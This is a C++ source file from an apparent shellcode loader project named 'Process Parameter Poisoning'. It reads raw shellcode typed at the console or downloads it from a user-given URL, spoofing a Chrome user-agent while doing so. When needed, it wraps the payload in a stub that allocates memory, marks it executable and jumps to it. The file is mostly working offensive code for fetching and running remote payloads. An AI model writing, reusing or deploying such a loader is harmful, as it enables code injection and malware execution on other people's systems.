/** * Authors: Max Hirschberger & Ogulcan Ugur * Project: Process Parameter Poisoning * Notes: Built with and undefined behavior. */ #include "ShellCodeUserInput.h" #include "ShellCodeWriter.h" #include "HTTPClient.h" #include ShellCodeUserInput::ShellCodeUserInput() {} bool ShellCodeUserInput::ParseNibble(char c, uint8_t& nibble) { if (c >= 0x30 && c <= 0x39) { nibble = c - 0x30; } else if (c >= 0x41 && c <= 0x46) { nibble = c - 0x41 + 10; } else if (c >= 0x61 && c <= 0x66) { nibble = c - 0x61 + 10; } else { return false; } return true; } bool ShellCodeUserInput::ParseUserShellCode(const std::string& user_shellcode, std::vector& res, bool& requires_wrap) { // Length needs to be a multiple of four if (user_shellcode.length() % 4) { return false; } uint8_t current_byte = 0; bool prev_zero = false; requires_wrap = false; for (size_t idx = 0; idx < user_shellcode.size(); idx++) { char c = user_shellcode[idx]; switch (idx % 4) { case 0: // Backslash if (c != '\\') { return false; } break; case 1: // x if (c != 'x') { return false; } break; case 2: // First nibble { uint8_t nibble = 0; if (!ParseNibble(c, nibble)) { return false; } current_byte = nibble << 4; break; } case 3: // Second nibble { uint8_t nibble = 0; if (!ParseNibble(c, nibble)) { return false; } current_byte |= nibble; if (current_byte == 0 && prev_zero && (idx & 1) == 1) { requires_wrap = true; } res.push_back(current_byte); prev_zero = current_byte == 0; break; } } } return true; } std::vector ShellCodeUserInput::GetConsoleInput() { std::string user_shellcode; std::vector user_shellcode_bytes; bool requires_wrap; while (true) { printf("\n[>] Enter your shellcode: "); std::cin >> user_shellcode; if (ParseUserShellCode(user_shellcode, user_shellcode_bytes, requires_wrap)) break; printf("[!] Invalid Shellcode Format, expecting e.g. \\xBa\\xad\\xF0\\x0d\n"); } if (requires_wrap) { // Supplied shell code contains two consecutive 00 at an even index -> Null terminator in wide string representation // Using a wrapper that: // 1. Pushes the shellcode to the stack // 2. Allocates READWRITE memory // 3. Copies shellcode from the stack to the newly allocated area // 4. Changes protection of the newly allocated area to EXECUTE_READ // 5. Jumps to the newly allocated area printf("\n[!] Shellcode is not compatible, wrapping inside compatible shellcode\n"); ShellCodeWriter w; w.LoadAndCallShellCode(user_shellcode_bytes); return w.GetShellCodeBytes(); } else { return user_shellcode_bytes; } } std::vector ShellCodeUserInput::GetURLInput() { //HTTPClient httpClient(L"PPP-Loader/1.0"); HTTPClient httpClient(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36"); wchar_t downloadUrl[1024]; printf("[>] Enter URL: "); wscanf_s(L" %1023[^\n]", downloadUrl, 1024); std::vector user_shellcode_bytes = httpClient.DownloadURL(downloadUrl); bool requires_wrap = false; for (size_t i = 1; i < user_shellcode_bytes.size(); i++) { if ((i % 1) == 0 && user_shellcode_bytes[i - 1] == 0 && user_shellcode_bytes[i] == 0) { requires_wrap = true; break; } } if (requires_wrap) { // Supplied shell code contains two consecutive 00 at an even index -> Null terminator in wide string representation // Using a wrapper that: // 1. Pushes the shellcode to the stack // 2. Allocates READWRITE memory // 3. Copies shellcode from the stack to the newly allocated area // 4. Changes protection of the newly allocated area to EXECUTE_READ // 5. Jumps to the newly allocated area printf("\n[!] Shellcode is not compatible, wrapping inside compatible shellcode\n"); ShellCodeWriter w; w.LoadAndCallShellCode(user_shellcode_bytes); return w.GetShellCodeBytes(); } else { return user_shellcode_bytes; } }